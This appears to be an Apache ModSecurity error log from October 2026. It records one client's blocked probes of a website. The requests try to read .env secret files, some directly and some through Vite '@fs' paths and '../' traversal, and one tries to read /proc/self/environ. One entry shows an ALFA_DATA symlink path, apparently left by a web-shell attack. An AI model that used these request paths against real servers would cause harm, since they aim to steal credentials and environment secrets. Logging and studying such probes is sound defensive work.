[Mon Oct 26 01:41:53.284290 2026] [security2:error] [pid 2973341:tid 2973341] [client 34.104.156.199:60022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIUhr8c52DmDleMR0_AAAABM"]
[Mon Oct 26 01:41:53.302656 2026] [security2:error] [pid 2973340:tid 2973340] [client 34.104.156.199:60028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.local"] [unique_id "at7oIUSawzgGbmrarQR5TgAAABI"]
[Mon Oct 26 01:41:53.303793 2026] [security2:error] [pid 2973340:tid 2973340] [client 34.104.156.199:60028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.local"] [unique_id "at7oIUSawzgGbmrarQR5TgAAABI"]
[Mon Oct 26 01:41:53.305357 2026] [security2:error] [pid 2973340:tid 2973340] [client 34.104.156.199:60028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIUSawzgGbmrarQR5TgAAABI"]
[Mon Oct 26 01:41:53.350819 2026] [security2:error] [pid 2973345:tid 2973345] [client 34.104.156.199:60064] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oITmdE81tCi2v472e-QAAABg"]
[Mon Oct 26 01:41:53.350973 2026] [security2:error] [pid 2973345:tid 2973345] [client 34.104.156.199:60064] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oITmdE81tCi2v472e-QAAABg"]
[Mon Oct 26 01:41:53.351595 2026] [security2:error] [pid 2973345:tid 2973345] [client 34.104.156.199:60064] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oITmdE81tCi2v472e-QAAABg"]
[Mon Oct 26 01:41:53.352609 2026] [security2:error] [pid 2973345:tid 2973345] [client 34.104.156.199:60064] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oITmdE81tCi2v472e-QAAABg"]
[Mon Oct 26 01:41:53.381948 2026] [security2:error] [pid 2963588:tid 2963588] [client 34.104.156.199:59982] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at7oIUhKYrNeTnGv3xbKWwAAAEk"]
[Mon Oct 26 01:41:53.382499 2026] [security2:error] [pid 2963588:tid 2963588] [client 34.104.156.199:59982] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at7oIUhKYrNeTnGv3xbKWwAAAEk"]
[Mon Oct 26 01:41:53.383226 2026] [security2:error] [pid 2963588:tid 2963588] [client 34.104.156.199:59982] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIUhKYrNeTnGv3xbKWwAAAEk"]
[Mon Oct 26 01:41:53.400967 2026] [security2:error] [pid 2973343:tid 2973343] [client 34.104.156.199:60068] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7oIbtRGcIJ-hO8rJ4CJAAAABU"]
[Mon Oct 26 01:41:53.401924 2026] [security2:error] [pid 2973343:tid 2973343] [client 34.104.156.199:60068] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7oIbtRGcIJ-hO8rJ4CJAAAABU"]
[Mon Oct 26 01:41:53.402929 2026] [security2:error] [pid 2973343:tid 2973343] [client 34.104.156.199:60068] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIbtRGcIJ-hO8rJ4CJAAAABU"]
[Mon Oct 26 01:41:53.595455 2026] [security2:error] [pid 2963578:tid 2963578] [client 34.104.156.199:60134] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.production"] [unique_id "at7oIYl8CCaegHlNIHu8RQAAAD8"]
[Mon Oct 26 01:41:53.596050 2026] [security2:error] [pid 2963578:tid 2963578] [client 34.104.156.199:60134] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.production"] [unique_id "at7oIYl8CCaegHlNIHu8RQAAAD8"]
[Mon Oct 26 01:41:53.596877 2026] [security2:error] [pid 2963578:tid 2963578] [client 34.104.156.199:60134] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIYl8CCaegHlNIHu8RQAAAD8"]
[Mon Oct 26 01:41:53.608247 2026] [security2:error] [pid 2973324:tid 2973324] [client 34.104.156.199:60122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at7oIb02Qm1s9OQgRTh0kQAAAAg"]
[Mon Oct 26 01:41:53.608756 2026] [security2:error] [pid 2973324:tid 2973324] [client 34.104.156.199:60122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at7oIb02Qm1s9OQgRTh0kQAAAAg"]
[Mon Oct 26 01:41:53.609586 2026] [security2:error] [pid 2973324:tid 2973324] [client 34.104.156.199:60122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIb02Qm1s9OQgRTh0kQAAAAg"]
[Mon Oct 26 01:41:53.683959 2026] [security2:error] [pid 2973333:tid 2973333] [client 34.104.156.199:60094] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at7oIQZ07Wdwv-JsCbKOgwAAAA0"]
[Mon Oct 26 01:41:53.684717 2026] [security2:error] [pid 2973333:tid 2973333] [client 34.104.156.199:60094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at7oIQZ07Wdwv-JsCbKOgwAAAA0"]
[Mon Oct 26 01:41:53.685597 2026] [security2:error] [pid 2973333:tid 2973333] [client 34.104.156.199:60094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIQZ07Wdwv-JsCbKOgwAAAA0"]
[Mon Oct 26 01:41:54.116443 2026] [core:error] [pid 2973339:tid 2973339] (13)Permission denied: [client 44.215.61.66:6898] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/rescan
[Mon Oct 26 01:41:54.240709 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:60158] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.production"] [unique_id "at7oIiX6hE-fJup-lUtqjQAAAAU"]
[Mon Oct 26 01:41:54.241161 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:60158] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.production"] [unique_id "at7oIiX6hE-fJup-lUtqjQAAAAU"]
[Mon Oct 26 01:41:54.242077 2026] [security2:error] [pid 2973028:tid 2973028] [client 34.104.156.199:60158] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIiX6hE-fJup-lUtqjQAAAAU"]
[Mon Oct 26 01:41:54.244891 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:60156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7oIizbxoDcPgmvgSFJRgAAAAI"]
[Mon Oct 26 01:41:54.245300 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:60156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7oIizbxoDcPgmvgSFJRgAAAAI"]
[Mon Oct 26 01:41:54.246105 2026] [security2:error] [pid 2967444:tid 2967444] [client 34.104.156.199:60156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIizbxoDcPgmvgSFJRgAAAAI"]
[Mon Oct 26 01:41:54.277334 2026] [security2:error] [pid 2973325:tid 2973325] [client 34.104.156.199:60194] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oIuLIjM_NBNMXBD6KtgAAAAo"]
[Mon Oct 26 01:41:54.278004 2026] [security2:error] [pid 2973325:tid 2973325] [client 34.104.156.199:60194] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oIuLIjM_NBNMXBD6KtgAAAAo"]
[Mon Oct 26 01:41:54.278848 2026] [security2:error] [pid 2973325:tid 2973325] [client 34.104.156.199:60194] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIuLIjM_NBNMXBD6KtgAAAAo"]
[Mon Oct 26 01:41:54.403721 2026] [security2:error] [pid 2973344:tid 2973344] [client 34.104.156.199:60168] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oInEJ7XULmoJw5MVoGgAAABY"]
[Mon Oct 26 01:41:54.404254 2026] [security2:error] [pid 2973344:tid 2973344] [client 34.104.156.199:60168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oInEJ7XULmoJw5MVoGgAAABY"]
[Mon Oct 26 01:41:54.405059 2026] [security2:error] [pid 2973344:tid 2973344] [client 34.104.156.199:60168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oInEJ7XULmoJw5MVoGgAAABY"]
[Mon Oct 26 01:41:54.405169 2026] [security2:error] [pid 2973338:tid 2973338] [client 34.104.156.199:60184] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oIk5m7a_5HlxYoPwqKAAAABA"]
[Mon Oct 26 01:41:54.405443 2026] [security2:error] [pid 2973338:tid 2973338] [client 34.104.156.199:60184] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oIk5m7a_5HlxYoPwqKAAAABA"]
[Mon Oct 26 01:41:54.406259 2026] [security2:error] [pid 2973338:tid 2973338] [client 34.104.156.199:60184] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIk5m7a_5HlxYoPwqKAAAABA"]
